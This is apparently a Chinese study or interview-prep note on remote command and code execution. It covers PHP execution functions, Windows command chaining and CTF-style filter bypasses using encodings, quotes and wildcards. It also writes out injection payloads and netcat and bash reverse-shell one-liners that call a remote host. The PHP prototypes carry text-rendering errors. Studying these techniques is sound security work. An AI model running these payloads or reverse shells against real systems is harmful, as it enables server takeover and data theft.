RCE包括系统命令执行和代码执行,照这样下去owasp top10 快总结完了!
rce原理讲讲?
远程系统命令执行
是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。
如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交能执行的命令,从而让后台进行执行,从而控制整个后台服务器。
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。
远程代码执行
后台有时候会把用户的输入作为代码的一部分进行执行,过滤不够严格
不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
常见的系统命令执行函数有哪些?
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
PHP常见的命令执行函数有哪些?
- system() :
原型:string system ( string KaTeX parse error: Expected 'EOF', got '&' at position 16: command [, int &̲return_var ] )
与passthru的基本相同,但是system返回结果并且输出。(查看system和pssthru的返回值可以看出) - shell_exec():
shell_exec — 通过 shell 环境执行命令 ( 这就意味着这个方法只能在 linux 或 mac os的shell环境中运行 ),
并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。
是反撇号 (`) 操作符的变体. - exec():
原型:string exec ( string KaTeX parse error: Expected 'EOF', got '&' at position 18: …mmand [, array &̲output [, int &$return_var ]] )
exec执行command命令,但是不会输出全部结果,而是返回结果的最后一行,如果你想得到全部的结果,
可以使用第二个参数,让其输出到一个数组,数组的每一个记录代表了输出的每一行,如果输出结果有10行,则数组就有10条记录。
所以如果你需要反复输出调用不同系统外部命令的结果,你最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0 - passthru():
原型:void passthru ( string KaTeX parse error: Expected 'EOF', got '&' at position 16: command [, int &̲return_var ] )
与exec的区别:passthru直接将结果输出,不返回结果,不用使用echo查看结果。
讲一讲Windows系统命令拼接的不同情况呢?
“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B
说一下rce的一些绕过方法?
1.URL编码绕过
关于$_SERVER[‘QUERY_STRING’],他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词进行url编码就能绕过。
2.Base64编码绕过
echo MTIzCg==|base64 -d 其将会打印123 //MTIzCg==是123的base64编码
echo “Y2F0IC9mbGFn”|base64 -d|bash 将执行了cat /flag //Y2F0IC9mbGFn是cat /flag的base64编码
echo “bHM=”|base64 -d|sh 将执行ls
3.Hex编码绕过
echo “636174202f666c6167”|xxd -r -p|bash 将执行cat /flag
$(printf “\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”) 执行cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 执行cat /flag
4.Oct编码绕过
$(printf “\154\163”) 执行ls
5.偶读拼接绕过
?ip=127.0.0.1;a=l;b=s;aaab
?ip=127.0.0.1;a=fl;b=ag;cat /aaab;
6.内联执行绕过
echo “apwd
” #输出a/root
?ip=127.0.0.1;cat$IFS$9ls
7.引号绕过
ca"“t => cat
mo”“re => more
in”“dex => index
ph”"p => php
8.通配符绕过
假设flag在/flag中:
/?url=127.0.0.1|ca"“t%09/fla?
/?url=127.0.0.1|ca”“t%09/fla*
假设flag在/flag.txt中:
/?url=127.0.0.1|ca”“t%09/fla???
/?url=127.0.0.1|ca”“t%09/fla*
假设flag在/flags/flag.txt中:
/?url=127.0.0.1|ca”“t%09/fla??/fla???
/?url=127.0.0.1|ca”"t%09/fla*/fla*
9.反斜杠绕过
ca\t => cat
mo\re => more
in\dex => index
ph\p => php
n\l => nl
10.[]匹配绕过
c[a]t => cat
mo[r]e => more
in[d]ex => index
p[h]p => php
无回显的命令执行
NetCat 一句话反弹Shell
获取shell(想反弹谁的shell就在谁的后面加-e /bin/sh或-e /bin/bash来进行重定向)
**正向shell:**客户端主动连接服务器并获取服务器shell
客户端主动连接并得到反弹shell
nc 服务端ip 8888
服务端监听连接
nc -Lvp 8888 -e /bin/sh
# windows上:nc -lvp 8888 -e c:\windows\system32\cmd.exe
****反向shell:****服务器端连接并反弹shell给客户端
客户端监听
nc -Lvp 8888
服务端连接客户端
nc 客户端ip 8888 -e /bin/sh
# windows上:nc ip 8888 -e c:\windows\system32\cmd.exe
Bash反弹shell
攻击机
nc -lvp 2333
受害机
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
rce会造成哪些危害?
继承Web服务器程序的权限,去执行系统命令
继承Web服务器程序的权限,读写文件
反弹shell
控制整个网站
甚至控制整个服务器